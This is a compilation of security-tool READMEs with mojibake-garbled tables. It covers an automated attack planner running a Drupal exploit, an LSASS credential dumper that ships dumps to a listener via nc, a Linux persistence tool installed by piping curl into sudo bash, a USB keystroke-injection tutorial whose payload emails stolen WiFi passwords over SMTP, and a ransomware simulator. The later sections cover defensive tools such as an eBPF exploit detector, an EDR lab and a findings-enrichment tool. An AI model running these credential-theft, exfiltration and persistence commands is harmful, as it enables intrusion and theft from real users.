ββββββββββββ³βββββββββββββββ³βββββββββββ³βββββββββββββββ³ββββββββ
β hostID β IP β Hostname β Platform β Pwned β
β‘ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ©
β h_exbiy6 β 192.168.0.10 β ubuntu β ubuntu 14.04 β False β
ββββββββββββ΄βββββββββββββββ΄βββββββββββ΄βββββββββββββββ΄β ββββββ
[IP address]
ββββββββββββββββ³βββββββββββ³βββββββ³βββββββββββββ
β ipv4 β ipv4mask β ipv6 β ipv6prefix β
β‘ββββββββββββββββββββββββββββββββββββββββββββββ©
β 192.168.0.10 β β β β
βββββββββββββ ββ΄βββββββββββ΄βββββββ΄βββββββββββββ
[Open ports]
ββββββββββββββββ³ββββββββ³βββββββ³ββββββββββββββ³βββββββββββββββ³βββββββββββββββββββββββββββββ
β ip β proto β port β service β product β version β
β‘ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ©
β 192.168.0.10 β tcp β 21 β ftp β ProFTPD β 1.3.5 β
β 192.168.0.10 β tcp β 22 β ssh β OpenSSH β 6.6.1p1 Ubuntu 2ubuntu2.10 β
β 192.168.0.10 β tcp β 80 β http β Apache httpd β 2.4.7 β
β 192.168.0.10 β tcp β 445 β netbios-ssn β Samba smbd β 3.X - 4.X β
β 192.168.0.10 β tcp β 631 β ipp β CUPS β 1.7 β
ββββββββββββββββ΄ββββββββ΄βββββββ΄ββββββββββββββ΄βββββββββββββββ΄βββββββββββββββββββββββββββββ
[Vulnerabilities]
ββββββββββββββββ³ββββββββ³βββββββ³ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ³βββββββββββββββββ
β ip β proto β port β vuln_name β cve β
β‘βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ©
β 192.168.0.10 β tcp β 0 β TCP Timestamps Information Disclosure β N/A β
β 192.168.0.10 β tcp β 21 β FTP Unencrypted Cleartext Login β N/A β
β 192.168.0.10 β tcp β 22 β Weak MAC Algorithm(s) Supported (SSH) β N/A β
β 192.168.0.10 β tcp β 22 β Weak Encryption Algorithm(s) Supported (SSH) β N/A β
β 192.168.0.10 β tcp β 22 β Weak Host Key Algorithm(s) (SSH) β N/A β
β 192.168.0.10 β tcp β 22 β Weak Key Exchange (KEX) Algorithm(s) Supported (SSH) β N/A β
β 192.168.0.10 β tcp β 80 β Test HTTP dangerous methods β N/A β
β 192.168.0.10 β tcp β 80 β Drupal Core SQLi Vulnerability (SA-CORE-2014-005) - Active Check β CVE-2014-3704 β
β 192.168.0.10 β tcp β 80 β Drupal Coder RCE Vulnerability (SA-CONTRIB-2016-039) - Active Check β N/A β
β 192.168.0.10 β tcp β 80 β Sensitive File Disclosure (HTTP) β N/A β
β 192.168.0.10 β tcp β 80 β Unprotected Web App / Device Installers (HTTP) β N/A β
β 192.168.0.10 β tcp β 80 β Cleartext Transmission of Sensitive Information via HTTP β N/A β
β 192.168.0.10 β tcp β 80 β jQuery < 1.9.0 XSS Vulnerability β CVE-2012-6708 β
β 192.168.0.10 β tcp β 80 β jQuery < 1.6.3 XSS Vulnerability β CVE-2011-4969 β
β 192.168.0.10 β tcp β 80 β Drupal 7.0 Information Disclosure Vulnerability - Active Check β CVE-2011-3730 β
β 192.168.0.10 β tcp β 631 β SSL/TLS: Report Vulnerable Cipher Suites for HTTPS β CVE-2016-2183 β
β 192.168.0.10 β tcp β 631 β SSL/TLS: Report Vulnerable Cipher Suites for HTTPS β CVE-2016-6329 β
β 192.168.0.10 β tcp β 631 β SSL/TLS: Report Vulnerable Cipher Suites for HTTPS β CVE-2020-12872 β
β 192.168.0.10 β tcp β 631 β SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection β CVE-2011-3389 β
β 192.168.0.10 β tcp β 631 β SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection β CVE-2015-0204 β
ββββββββββββββββ΄ββββββββ΄βββββββ΄ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ΄βββ& #9472;βββββββββββββ
[Users]
βββββββββββββ³ββββββββ
β user name β group β
β‘ββββββββββββββββββββ©
βββββββββββββ΄ββββββββ
catsploit> plan attacker h_exbiy6
Planning attack scenario...100%
[*] Done. 15 scenarios was planned.
[*] To check each scenario, try 'scenario list' and/or 'scenario detail'.
catsploit> scenario list
βββββββββββββββ³βββββ ββββββββ³βββββββββββββββββ³ββββββββ³ββββββββ³ββββββββ³ββββββββββββββββββββββββββββββββ
β scenario id β src host ip β target host ip β eVc β eVd β steps β first attack step β
β‘ββββββββββββββββββββββββββββββββββββγ 3;ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ©
β 3d3ivc β 0.0.0.0 β 192.168.0.10 β 1.0 β 32.0 β 1 β exploit/multi/http/jenkins_sβ¦ β
β 5gnsvh β 0.0.0.0 β 192.168.0.10 β 1.0 β 53.76 β 2 β exploit/multi/http/jenkins_sβ¦ β
β 6nlxyc β 0.0.0.0 β 192.168.0.10 β 0.0 β 48.32 β 2 β exploit/multi/http/jenkins_sβ¦ β
β 8jos4z β 0.0.0.0 β 192.168.0.1 0 β 0.7 β 72.8 β 2 β exploit/multi/http/jenkins_sβ¦ β
β 8kmmts β 0.0.0.0 β 192.168.0.10 β 0.0 β 32.0 β 1 β exploit/multi/elasticsearch/β¦ β
β agjmma β 0.0.0.0 β 192.168.0.10 β 0.0 β 24.0 β 1 β exploit/windows/http/manageeβ¦ β
β joglhf β 0.0.0.0 β 192.168.0.10 β 70.0 β 60.0 β 1 β auxiliary/scanner/ssh/ssh_loβ¦ β
β rmgrof β 0.0.0.0 β 192.168.0.10 β 100.0 β 32.0 β 1 β exploit/multi/http/drupal_drβ¦ β
β xuowzk β 0.0.0.0 β 192.168.0.10 β 0.0 β 24.0 β 1 β exploit/multi/http/struts_dmβ¦ β
β yttv51 β 0.0.0.0 β 192.168.0.10 β 0.01 β 53.76 β 2 β exploit/multi/http/jenkins_sβ¦ β
β znv76x β 0.0.0.0 β 192.168.0.10 β 0.01 β 53.76 β 2 β exploit/multi/http/jenkins_sβ¦ β
βββββββββββββββ΄ββββββββββββββ΄βββββββββββββββββ΄ββββββββ΄ββββββββ΄ββββββββ΄ββββββββββββββββββββββββββββββββ
catsploit> scenario detail rmgrof
βββββββββββββββ³βββββββββββββββββ³ββββββββ³βββββββ
β src host ip β target host ip β eVc β eVd β
β‘ββββββββββββββββββββββββββββββββββββββββββββββ©
β 0.0.0.0 β 192.168.0.10 β 100.0 β 32.0 β
βββββββββββββββ΄ββββββββ ββββββββ΄ββββββββ΄βββββββ
[Steps]
βββββ³ββββββββββββββββββββββββββββββββββββββββ³ββββββββββββββββββββββββ
β # β step β params β
β‘βββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββββββββββββ©
β 1 β exploit/multi/http/drupal_drupageddon β RHOSTS: 192.168.0.10 β
β β β LHOST: 192.168.10.100 β
βββββ΄ββββββββββββββββββββββββββββββββββββββββ΄ββββββββββββββββββββββββ
catsploit> attack rmgrof
> ~> ~
> Metasploit Console Log
> ~
> ~
[+] Attack scenario succeeded!
catsploit> exit
Bye.
All informations and codes are provided solely for educational purposes and/or testing your own systems.
For any inquiry, please contact the email address as follows:
catsploit@nk.MitsubishiElectric.co.jp
Protected Process Dumper Tool that support obfuscating memory dump and transferring it on remote workstations without dropping it onto the disk.
Key functionalities:
Overview of the techniques, used in this tool can be found here: https://tastypepperoni.medium.com/bypassing-defenders-lsass-dump-detection-and-ppl-protection-in-go-7dd85d9a32e6
Note that PROCEXP15.SYS is listed in the source files for compiling purposes. It does not need to be transferred on the target machine alongside the PPLBlade.exe.
Itβs already embedded into the PPLBlade.exe. The exploit is just a single executable.
Modes:
Handle Modes:
Basic POC that uses PROCEXP152.sys to dump lsass:
PPLBlade.exe --mode dothatlsassthing
(Note that it does not XOR dump file, provide an additional obfuscate flag to enable the XOR functionality)
Upload the obfuscated LSASS dump onto a remote location:
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
Attacker host:
nc -lnp 1234 > lsass.dmp
python3 deobfuscate.py --dumpname lsass.dmp
Deobfuscate memory dump:
PPLBlade.exe --mode descrypt --dumpname PPLBlade.dmp --key PPLBlade
Valid8Proxy is a versatile and user-friendly tool designed for fetching, validating, and storing working proxies. Whether you need proxies for web scraping, data anonymization, or testing network security, Valid8Proxy simplifies the process by providing a seamless way to obtain reliable and verified proxies.
Clone the Repository:
git clone https://github.com/spyboy-productions/Valid8Proxy.gitNavigate to the Directory:
cd Valid8ProxyInstall Dependencies:
pip install -r requirements.txtRun the Tool:
python Valid8Proxy.pyFollow Interactive Prompts:
Save to File:
Check Results:
python Validator.py
Follow the prompts:
Enter the path to the file containing proxies (e.g., proxy_list.txt). Enter the number of proxies you want to validate. The script will then validate the specified number of proxies using multiple threads and print the valid proxies.
Contributions and feature requests are welcome! If you encounter any issues or have ideas for improvement, feel free to open an issue or submit a pull request.
Demonized Shell is an Advanced Tool for persistence in linux.
git clone https://github.com/MatheuZSecurity/D3m0n1z3dShell.git
cd D3m0n1z3dShell
chmod +x demonizedshell.sh
sudo ./demonizedshell.sh
Download D3m0n1z3dShell with all files:
curl -L https://github.com/MatheuZSecurity/D3m0n1z3dShell/archive/main.tar.gz | tar xz && cd D3m0n1z3dShell-main && sudo ./demonizedshell.sh
Load D3m0n1z3dShell statically (without the static-binaries directory):
sudo curl -s https://raw.githubusercontent.com/MatheuZSecurity/D3m0n1z3dShell/main/static/demonizedshell_static.sh -o /tmp/demonizedshell_static.sh && sudo bash /tmp/demonizedshell_static.sh
And other types of features that will come in the future.
If you want to contribute and help with the tool, please contact me on twitter: @MatheuzSecurity
We are not responsible for any damage caused by this tool, use the tool intelligently and for educational purposes only.
PhantomCrawler allows users to simulate website interactions through different proxy IP addresses. It leverages Python, requests, and BeautifulSoup to offer a simple and effective way to test website behaviour under varied proxy configurations.
Features:
Usage:
proxies.txt in this format 50.168.163.176:80
How to Use:
git clone https://github.com/spyboy-productions/PhantomCrawler.git
pip3 install -r requirements.txt
python3 PhantomCrawler.py
Disclaimer: PhantomCrawler is intended for educational and testing purposes only. Users are cautioned against any misuse, including potential DDoS activities. Always ensure compliance with the terms of service of websites being tested and adhere to ethical standards.
RansomwareSim is a simulated ransomware application developed for educational and training purposes. It is designed to demonstrate how ransomware encrypts files on a system and communicates with a command-and-control server. This tool is strictly for educational use and should not be used for malicious purposes.
Important: This tool should only be used in controlled environments where all participants have given consent. Do not use this tool on any system without explicit permission. For more, read SECURE
Clone the repository:
git clone https://github.com/HalilDeniz/RansomwareSim.gitNavigate to the project directory:
cd RansomwareSimInstall the required dependencies:
pip install -r requirements.txtcontrolpanel.py.controlpanel.py.RansomwareSim and the Decoder.RansomwareSim.main function in encoder.py to specify the target directory and other parameters.encoder.py to start the encryption process.decoder.py after the files have been encrypted.RansomwareSim is developed for educational purposes only. The creators of RansomwareSim are not responsible for any misuse of this tool. This tool should not be used in any unauthorized or illegal manner. Always ensure ethical and legal use of this tool.
Contributions, suggestions, and feedback are welcome. Please create an issue or pull request for any contributions.
For any inquiries or further information, you can reach me through the following channels:
Have you ever watched a film where a hacker would plug-in, seemingly ordinary, USB drive into a victim's computer and steal data from it? - A proper wet dream for some.
Disclaimer: All content in this project is intended for security research purpose only.
Β
During the summer of 2022, I decided to do exactly that, to build a device that will allow me to steal data from a victim's computer. So, how does one deploy malware and exfiltrate data? In the following text I will explain all of the necessary steps, theory and nuances when it comes to building your own keystroke injection tool. While this project/tutorial focuses on WiFi passwords, payload code could easily be altered to do something more nefarious. You are only limited by your imagination (and your technical skills).
After creating pico-ducky, you only need to copy the modified payload (adjusted for your SMTP details for Windows exploit and/or adjusted for the Linux password and a USB drive name) to the RPi Pico.
Physical access to victim's computer.
Unlocked victim's computer.
Victim's computer has to have an internet access in order to send the stolen data using SMTP for the exfiltration over a network medium.
Knowledge of victim's computer password for the Linux exploit.
Note:
It is possible to build this tool using Rubber Ducky, but keep in mind that RPi Pico costs about $4.00 and the Rubber Ducky costs $80.00.
However, while pico-ducky is a good and budget-friedly solution, Rubber Ducky does offer things like stealthiness and usage of the lastest DuckyScript version.
In order to use Ducky Script to write the payload on your RPi Pico you first need to convert it to a pico-ducky. Follow these simple steps in order to create pico-ducky.
Keystroke injection tool, once connected to a host machine, executes malicious commands by running code that mimics keystrokes entered by a user. While it looks like a USB drive, it acts like a keyboard that types in a preprogrammed payload. Tools like Rubber Ducky can type over 1,000 words per minute. Once created, anyone with physical access can deploy this payload with ease.
The payload uses STRING command processes keystroke for injection. It accepts one or more alphanumeric/punctuation characters and will type the remainder of the line exactly as-is into the target machine. The ENTER/SPACE will simulate a press of keyboard keys.
We use DELAY command to temporarily pause execution of the payload. This is useful when a payload needs to wait for an element such as a Command Line to load. Delay is useful when used at the very beginning when a new USB device is connected to a targeted computer. Initially, the computer must complete a set of actions before it can begin accepting input commands. In the case of HIDs setup time is very short. In most cases, it takes a fraction of a second, because the drivers are built-in. However, in some instances, a slower PC may take longer to recognize the pico-ducky. The general advice is to adjust the delay time according to your target.
Data exfiltration is an unauthorized transfer of data from a computer/device. Once the data is collected, adversary can package it to avoid detection while sending data over the network, using encryption or compression. Two most common way of exfiltration are:
This approach was used for the Windows exploit. The whole payload can be seen here.
This approach was used for the Linux exploit. The whole payload can be seen here.
In order to use the Windows payload (payload1.dd), you don't need to connect any jumper wire between pins.
Once passwords have been exported to the .txt file, payload will send the data to the appointed email using Yahoo SMTP. For more detailed instructions visit a following link. Also, the payload template needs to be updated with your SMTP information, meaning that you need to update RECEIVER_EMAIL, SENDER_EMAIL and yours email PASSWORD. In addition, you could also update the body and the subject of the email.
| STRING Send-MailMessage -To 'RECEIVER_EMAIL' -from 'SENDER_EMAIL' -Subject "Stolen data from PC" -Body "Exploited data is stored in the attachment." -Attachments .\wifi_pass.txt -SmtpServer 'smtp.mail.yahoo.com' -Credential $(New-Object System.Management.Automation.PSCredential -ArgumentList 'SENDER_EMAIL', $('PASSWORD' | ConvertTo-SecureString -AsPlainText -Force)) -UseSsl -Port 587 |
ο Note:
After sending data over the email, the
.txtfile is deleted.You can also use some an SMTP from another email provider, but you should be mindful of SMTP server and port number you will write in the payload.
Keep in mind that some networks could be blocking usage of an unknown SMTP at the firewall.
In order to use the Linux payload (payload2.dd) you need to connect a jumper wire between GND and GPIO5 in order to comply with the code in code.py on your RPi Pico. For more information about how to setup multiple payloads on your RPi Pico visit this link.
Once passwords have been exported from the computer, data will be saved to the appointed USB flash drive. In order for this payload to function properly, it needs to be updated with the correct name of your USB drive, meaning you will need to replace USBSTICK with the name of your USB drive in two places.
| STRING echo -e "Wireless_Network_Name Password\n--------------------- --------" > /media/$(hostname)/USBSTICK/wifi_pass.txt |
| STRING done >> /media/$(hostname)/USBSTICK/wifi_pass.txt |
In addition, you will also need to update the Linux PASSWORD in the payload in three places. As stated above, in order for this exploit to be successful, you will need to know the victim's Linux machine password, which makes this attack less plausible.
| STRING echo PASSWORD | sudo -S echo |
| STRING do echo -e "$(sudo <<< PASSWORD cat "$FILE" | grep -oP '(?<=ssid=).*') \t\t\t\t $(sudo <<< PASSWORD cat "$FILE" | grep -oP '(?<=psk=).*')" |
In order to run the wifi_passwords_print.sh script you will need to update the script with the correct name of your USB stick after which you can type in the following command in your terminal:
echo PASSWORD | sudo -S sh wifi_passwords_print.sh USBSTICKwhere PASSWORD is your account's password and USBSTICK is the name for your USB device.
NetworkManager is based on the concept of connection profiles, and it uses plugins for reading/writing data. It uses .ini-style keyfile format and stores network configuration profiles. The keyfile is a plugin that supports all the connection types and capabilities that NetworkManager has. The files are located in /etc/NetworkManager/system-connections/. Based on the keyfile format, the payload uses the grep command with regex in order to extract data of interest. For file filtering, a modified positive lookbehind assertion was used ((?<=keyword)). While the positive lookbehind assertion will match at a certain position in the string, sc. at a position right after the keyword without making that text itself part of the match, the regex (?<=keyword).* will match any text after the keyword. This allows the payload to match the values after SSID and psk (pre-shared key) keywords.
For more information about NetworkManager here is some useful links:
Below is an example of the exfiltrated and formatted data from a victim's machine in a .txt file.
WiFi-password-stealer/resources/wifi_pass.txt
Lines 1 to 5 in f5b3b11
| Wireless_Network_Name Password | |
| --------------------- -------- | |
| WLAN1 pass1 | |
| WLAN2 pass2 | |
| WLAN3 pass3 |
One of the advantages of Rubber Ducky over RPi Pico is that it doesn't show up as a USB mass storage device once plugged in. Once plugged into the computer, all the machine sees it as a USB keyboard. This isn't a default behavior for the RPi Pico. If you want to prevent your RPi Pico from showing up as a USB mass storage device when plugged in, you need to connect a jumper wire between pin 18 (GND) and pin 20 (GPIO15). For more details visit this link.
ο‘ Tip:
- Upload your payload to RPi Pico before you connect the pins.
- Don't solder the pins because you will probably want to change/update the payload at some point.
When creating a functioning payload file, you can use the writer.py script, or you can manually change the template file. In order to run the script successfully you will need to pass, in addition to the script file name, a name of the OS (windows or linux) and the name of the payload file (e.q. payload1.dd). Below you can find an example how to run the writer script when creating a Windows payload.
python3 writer.py windows payload1.ddThis pico-ducky currently works only on Windows OS.
This attack requires physical access to an unlocked device in order to be successfully deployed.
The Linux exploit is far less likely to be successful, because in order to succeed, you not only need physical access to an unlocked device, you also need to know the admins password for the Linux machine.
Machine's firewall or network's firewall may prevent stolen data from being sent over the network medium.
Payload delays could be inadequate due to varying speeds of different computers used to deploy an attack.
The pico-ducky device isn't really stealthy, actually it's quite the opposite, it's really bulky especially if you solder the pins.
Also, the pico-ducky device is noticeably slower compared to the Rubber Ducky running the same script.
If the Caps Lock is ON, some of the payload code will not be executed and the exploit will fail.
If the computer has a non-English Environment set, this exploit won't be successful.
Currently, pico-ducky doesn't support DuckyScript 3.0, only DuckyScript 1.0 can be used. If you need the 3.0 version you will have to use the Rubber Ducky.
Caps Lock bug.sudo.
Pantheon is a GUI application that allows users to display information regarding network cameras in various countries as well as an integrated live-feed for non-protected cameras.
Pantheon allows users to execute an API crawler. There was original functionality without the use of any API's (like Insecam), but Google TOS kept getting in the way of the original scraping mechanism.
git clone https://github.com/josh0xA/Pantheon.gitcd Pantheonpip3 install -r requirements.txtpython3 pantheon.py
chmod +x distros/ubuntu_install.sh./distros/ubuntu_install.shchmod +x distros/debian-kali_install.sh./distros/debian-kali_install.sh(Enter) on a selected IP:Port to establish a Pantheon webview of the camera. (Use this at your own risk)
(Left-click) on a selected IP:Port to view the geolocation of the camera.
(Right-click) on a selected IP:Port to view the HTTP data of the camera (Ctrl+Left-click for Mac).
Adjust the map as you please to see the markers.
The developer of this program, Josh Schiavone, is not resposible for misuse of this data gathering tool. Pantheon simply provides information that can be indexed by any modern search engine. Do not try to establish unauthorized access to live feeds that are password protected - that is illegal. Furthermore, if you do choose to use Pantheon to view a live-feed, do so at your own risk. Pantheon was developed for educational purposes only. For further information, please visit: https://joshschiavone.com/panth_info/panth_ethical_notice.html
MIT License
Copyright (c) Josh Schiavone
VED (Vault Exploit Defense)-eBPF leverages eBPF (extended Berkeley Packet Filter) to implement runtime kernel security monitoring and exploit detection for Linux systems.
eBPF is an in-kernel virtual machine that allows code execution in the kernel without modifying the kernel source itself. eBPF programs can be attached to tracepoints, kprobes, and other kernel events to efficiently analyze execution and collect data.
VED-eBPF uses eBPF to trace security-sensitive kernel behaviors and detect anomalies that could indicate an exploit or rootkit. It provides two main detections:
wCFI (Control Flow Integrity) traces the kernel call stack to detect control flow hijacking attacks. It works by generating a bitmap of valid call sites and validating each return address matches a known callsite.
PSD (Privilege Escalation Detection) traces changes to credential structures in the kernel to detect unauthorized privilege escalations.
VED-eBPF attaches eBPF programs to kernel functions to trace execution flows and extract security events. The eBPF programs submit these events via perf buffers to userspace for analysis.
wCFI traces the call stack by attaching to functions specified on the command line. On each call, it dumps the stack, assigns a stack ID, and validates the return addresses against a precomputed bitmap of valid call sites generated from objdump and /proc/kallsyms.
If an invalid return address is detected, indicating a corrupted stack, it generates a wcfi_stack_event containing:
* Stack trace
* Stack ID
* Invalid return address
This security event is submitted via perf buffers to userspace.
The wCFI eBPF program also tracks changes to the stack pointer and kernel text region to keep validation up-to-date.
PSD traces credential structure modifications by attaching to functions like commit_creds and prepare_kernel_cred. On each call, it extracts information like:
* Current process credentials
* Hashes of credentials and user namespace
* Call stack
It compares credentials before and after the call to detect unauthorized changes. If an illegal privilege escalation is detected, it generates a psd_event containing the credential fields and submits it via perf buffers.
VED-eBPF requires:
VED-eBPF is currently a proof-of-concept demonstrating the potential for eBPF-based kernel exploit and rootkit detection. Ongoing work includes:
VED-eBPF shows the promise of eBPF for building efficient, low-overhead kernel security monitoring without kernel modification. By leveraging eBPF tracing and perf buffers, critical security events can be extracted in real-time and analyzed to identify emerging kernel threats for cloud native envionrment.
Legba is a multiprotocol credentials bruteforcer / password sprayer and enumerator built with Rust and the Tokio asynchronous runtime in order to achieve better performances and stability while consuming less resources than similar tools (see the benchmark below).
For the building instructions, usage and the complete list of options check the project Wiki.
AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace), Cassandra/ScyllaDB, DNS subdomain enumeration, FTP, HTTP (basic authentication, NTLMv1, NTLMv2, multipart form, custom requests with CSRF support, files/folders enumeration, virtual host enumeration), IMAP, Kerberos pre-authentication and user enumeration, LDAP, MongoDB, MQTT, Microsoft SQL, MySQL, Oracle, PostgreSQL, POP3, RDP, Redis, SSH / SFTP, SMTP, STOMP (ActiveMQ, RabbitMQ, HornetQ and OpenMQ), TCP port scanning, Telnet, VNC.
Here's a benchmark of legba versus thc-hydra running some common plugins, both targeting the same test servers on localhost. The benchmark has been executed on a macOS laptop with an M1 Max CPU, using a wordlist of 1000 passwords with the correct one being on the last line. Legba was compiled in release mode, Hydra compiled and installed via brew formula.
Far from being an exhaustive benchmark (some legba features are simply not supported by hydra, such as CSRF token grabbing), this table still gives a clear idea of how using an asynchronous runtime can drastically improve performances.
| Test Name | Hydra Tasks | Hydra Time | Legba Tasks | Legba Time |
|---|---|---|---|---|
| HTTP basic auth | 16 | 7.100s | 10 | 1.560s (ο 4.5x faster) |
| HTTP POST login (wordpress) | 16 | 14.854s | 10 | 5.045s (ο 2.9x faster) |
| SSH | 16 | 7m29.85s * | 10 | 8.150s (ο 55.1x faster) |
| MySQL | 4 ** | 9.819s | 4 ** | 2.542s (ο 3.8x faster) |
| Microsoft SQL | 16 | 7.609s | 10 | 4.789s (ο 1.5x faster) |
* While this result would suggest a default delay between connection attempts used by Hydra. I've tried to study the source code to find such delay but to my knowledge there's none. For some reason it's simply very slow.
** For MySQL hydra automatically reduces the amount of tasks to 4, therefore legba's concurrency level has been adjusted to 4 as well.
Legba is released under the GPL 3 license. To see the licenses of the project dependencies, install cargo license with cargo install cargo-license and then run cargo license.
Little AV/EDR Evasion Lab for training & learning purposes. (οοΈ under construction..)β
____ _ _____ ____ ____ ___ __ _____ _
| __ ) ___ ___| |_ | ____| _ \| _ \ / _ \ / _| |_ _| |__ ___
| _ \ / _ \/ __| __| | _| | | | | |_) | | | | | |_ | | | '_ \ / _ \
| |_) | __/\__ \ |_ | |___| |_| | _ < | |_| | _| | | | | | | __/
|____/_\___||___/\__| |_____|____/|_| \_\ \___/|_| |_| |_| |_|\___|
| \/ | __ _ _ __| | _____| |_
| |\/| |/ _` | '__| |/ / _ \ __|
| | | | (_| | | | < __/ |_ Yazidou - github.com/Xacone
|_| |_|\__,_|_| |_|\_\___|\__|
BestEDROfTheMarket is a naive user-mode EDR (Endpoint Detection and Response) project, designed to serve as a testing ground for understanding and bypassing EDR's user-mode detection methods that are frequently used by these security solutions.
These techniques are mainly based on a dynamic analysis of the target process state (memory, API calls, etc.),
Feel free to check this short article I wrote that describe the interception and analysis methods implemented by the EDR.
In progress:
Usage: BestEdrOfTheMarket.exe [args]
/help Shows this help message and quit
/v Verbosity
/iat IAT hooking
/stack Threads call stack monitoring
/nt Inline Nt-level hooking
/k32 Inline Kernel32/Kernelbase hooking
/ssn SSN crushing
BestEdrOfTheMarket.exe /stack /v /k32
BestEdrOfTheMarket.exe /stack /nt
BestEdrOfTheMarket.exe /iat
Flutter Mobile Application Reverse Engineering Tool by Compiling Dart AOT Runtime
Currently the application supports only Android libapp.so (arm64 only). Also the application is currently work only against recent Dart versions.
For high priority missing features, see TODO
This application uses C++20 Formatting library. It requires very recent C++ compiler such as g++>=13, Clang>=15.
I recommend using Linux OS (only tested on Deiban sid/trixie) because it is easy to setup.
apt install python3-pyelftools python3-requests git cmake ninja-build \
build-essential pkg-config libicu-dev libcapstone-dev
python scripts\init_env_win.py
brew install llvm@15 cmake ninja pkg-config icu4c capstone
pip3 install pyelftools requests
Extract "lib" directory from apk file
python3 blutter.py path/to/app/lib/arm64-v8a out_dir
The blutter.py will automatically detect the Dart version from the flutter engine and call executable of blutter to get the information from libapp.so.
If the blutter executable for required Dart version does not exists, the script will automatically checkout Dart source code and compiling it.
You can use git pull to update and run blutter.py with --rebuild option to force rebuild the executable
python3 blutter.py path/to/app/lib/arm64-v8a out_dir --rebuild
I use Visual Studio to delevlop Blutter on Windows. --vs-sln options can be used to generate a Visual Studio solution.
python blutter.py path\to\lib\arm64-v8a build\vs --vs-sln
MetaHub is an automated contextual security findings enrichment and impact evaluation tool for vulnerability management. You can use it with AWS Security Hub or any ASFF-compatible security scanner. Stop relying on useless severities and switch to impact scoring definitions based on YOUR context.
MetaHub is an open-source security tool for impact-contextual vulnerability management. It can automate the process of contextualizing security findings based on your environment and your needs: YOUR context, identifying ownership, and calculate an impact scoring based on it that you can use for defining prioritization and automation. You can use it with AWS Security Hub or any ASFF security scanners (like Prowler).
MetaHub describe your context by connecting to your affected resources in your affected accounts. It can describe information about your AWS account and organization, the affected resources tags, the affected CloudTrail events, your affected resource configurations, and all their associations: if you are contextualizing a security finding affecting an EC2 Instance, MetaHub will not only connect to that instance itself but also its IAM Roles; from there, it will connect to the IAM Policies associated with those roles. It will connect to the Security Groups and analyze all their rules, the VPC and the Subnets where the instance is running, the Volumes, the Auto Scaling Groups, and more.
After fetching all the information from your context, MetaHub will evaluate certain important conditions for all your resources: exposure, access, encryption, status, environment and application. Based on those calculations and in addition to the information from the security findings affecting the resource all together, MetaHub will generate a Scoring for each finding.
Check the following dashboard generated by MetaHub. You have the affected resources, grouping all the security findings affecting them together and the original severity of the finding. After that, you have the Impact Score and all the criteria MetaHub evaluated to generate that score. All this information is filterable, sortable, groupable, downloadable, and customizable.
You can rely on this Impact Score for prioritizing findings (where should you start?), directing attention to critical issues, and automating alerts and escalations.
MetaHub can also filter, deduplicate, group, report, suppress, or update your security findings in automated workflows. It is designed for use as a CLI tool or within automated workflows, such as AWS Security Hub custom actions or AWS Lambda functions.
The following is the JSON output for a an EC2 instance; see how MetaHub organizes all the information about its context together, under associations, config, tags, account cloudtrail, and impact
In MetaHub, context refers to information about the affected resources like their configuration, associations, logs, tags, account, and more.
MetaHub doesn't stop at the affected resource but analyzes any associated or attached resources. For instance, if there is a security finding on an EC2 instance, MetaHub will not only analyze the instance but also the security groups attached to it, including their rules. MetaHub will examine the IAM roles that the affected resource is using and the policies attached to those roles for any issues. It will analyze the EBS attached to the instance and determine if they are encrypted. It will also analyze the Auto Scaling Groups that the instance is associated with and how. MetaHub will also analyze the VPC, Subnets, and other resources associated with the instance.
The Context module has the capability to retrieve information from the affected resources, affected accounts, and every associated resources. The context module has five main parts: config (which includes associations as well), tags, cloudtrail, and account. By default config and tags are enabled, but you can change this behavior using the option --context (for enabling all the context modules you can use --context config tags cloudtrail account). The output of each enabled key will be added under the affected resource.
Under the config key, you can find anyting related to the configuration of the affected resource. For example, if the affected resource is an EC2 Instance, you will see keys like private_ip, public_ip, or instance_profile.
You can filter your findings based on Config outputs using the option: --mh-filters-config <key> {True/False}. See Config Filtering.
Under the associations key, you will find all the associated resources of the affected resource. For example, if the affected resource is an EC2 Instance, you will find resources like: Security Groups, IAM Roles, Volumes, VPC, Subnets, Auto Scaling Groups, etc. Each time MetaHub finds an association, it will connect to the associated resource again and fetch its own context.
Associations are key to understanding the context and impact of your security findings as their exposure.
You can filter your findings based on Associations outputs using the option: --mh-filters-config <key> {True/False}. See Config Filtering.
MetaHub relies on AWS Resource Groups Tagging API to query the tags associated with your resources.
Note that not all AWS resource type supports this API. You can check supported services.
Tags are a crucial part of understanding your context. Tagging strategies often include:
If you follow a proper tagging strategy, you can filter and generate interesting outputs. For example, you could list all findings related to a specific team and provide that data directly to that team.
You can filter your findings based on Tags outputs using the option: --mh-filters-tags TAG=VALUE. See Tags Filtering
Under the key cloudtrail, you will find critical Cloudtrail events related to the affected resource, such as creating events.
The Cloudtrail events that we look for are defined by resource type, and you can add, remove or change them by editing the configuration file resources.py.
For example for an affected resource of type Security Group, MetaHub will look for the following events:
CreateSecurityGroup: Security Group Creation eventAuthorizeSecurityGroupIngress: Security Group Rule Authorization event.Under the key account, you will find information about the account where the affected resource is runnning, like if it's part of an AWS Organizations, information about their contacts, etc.
MetaHub also focuses on ownership detection. It can determine the owner of the affected resource in various ways. This information can be used to automatically assign a security finding to the correct owner, escalate it, or make decisions based on this information.
An automated way to determine the owner of a resource is critical for security teams. It allows them to focus on the most critical issues and escalate them to the right people in automated workflows. But automating workflows this way, it is only viable if you have a reliable way to define the impact of a finding, which is why MetaHub also focuses on impact.
The impact module in MetaHub focuses on generating a score for each finding based on the context of the affected resource and all the security findings affecting them. For the context, we define a series of evaluated criteria; you can add, remove, or modify these criteria based on your needs. The Impact criteria are combined with a metric generated based on all the Security Findings affecting the affected resource and their severities.
The following are the impact criteria that MetaHub evaluates by default:
